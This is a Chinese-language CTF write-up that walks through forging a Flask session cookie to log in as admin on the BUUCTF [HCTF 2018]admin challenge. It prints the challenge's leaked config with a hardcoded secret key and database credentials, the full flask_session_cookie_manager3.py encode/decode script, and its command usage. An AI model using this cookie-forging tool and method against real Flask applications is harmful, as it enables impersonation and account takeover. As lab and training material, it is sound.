Flask之session伪造

2021-12-07 17:15:24 浏览数 (1)

前言

本文结合CTF中遇到的题目来说一下session伪造,虽然已经有很多师傅写了,而且写的都特别好,但是还是想自己记录一下,也方便以后复习。ciscn中就有一个session伪造的题,由于之前没有做过就没做出来,还是有点遗憾的。但比较戏剧性的是,上午比赛刚结束,下午刷BUU的时候就遇到了同样的题目。嗐,还是自己太菜,下面就结合BUUCTF中的[HCTF 2018]admin来说一下,文中比较拙劣的地方还请师傅们指正一下。参考文章

正文

本来这个题是有三种解法的,分别是:flask session伪造、Unicode欺骗、条件竞争。但是由于本篇文章主要讲解flask session伪造,所以就不再讲另外两种方法啦。

因为已经遇到了相似的了,所以也知道是为了拿到admin账号,我就直接注册了,不过ciscn的那个题在注册那里多了一个md5截断爆破,既然这里没有就直接注册。

可以看到已经存在admin用户了,所以先随便注册一个普通用户,不过刚开始还以为是SQL注入,试过以后都不行,看了其他师傅的文章才知道是session伪造。 在将session伪造前需要提一下的是,session一般都是存储在服务器端的,但是由于flask是轻量级的框架,所以让session存储在了客户端的cookie中,也正是因为这个才导致了session伪造的漏洞,从而达到冒充其他用户的目的。

可以看到在更改密码的页面源码里面有GitHub的项目地址

这里直接让源码下载到本地看一下,emmmm,只怪我代码审计能力不行,还是看了其他师傅的文章才找到了flask用来签名的secret_key,就在config.py文件里面

代码语言:javascript复制
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

接下来我们就先让我们登录成功的session复制下来解密,注意得是登录成功以后的

就是response响应包的session值,然后我们就开始解密,加密解密脚本可以直接从github上面下载,但是有时候github国内访问不了,我这里也在放一下

代码语言:javascript复制
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

我这里放的是python3的脚本,如果想用python2版本的师傅可以自行下载哈。

脚本使用方法 解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值” 加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

可以看到session已经解密为明文了,下面就让解密后的session值复制下来,让用户名改为admin就可以了,再进行加密之后替换掉原来的session值就可以了

在加密的时候让用户名teng替换为了admin,然后直接在浏览器中修改一下session值就可以了,也可用bp抓包修改

修改过后刷新一下页面就可以啦

可以看到现在已经是admin用户了,并且flag也出来, 另外两种方法就不在这里写了,感兴趣的师傅可以看前面放的参考的师傅文章链接。

结语

通过这次ciscn又充分认识到自己的技术还是太菜,记录这次做题经历呢也是想更充分了解其中的原理,从而也可以思考一下真实环境下的安全隐患。本文中个人见解错误的地方还请师傅们帮忙指正。

0 人点赞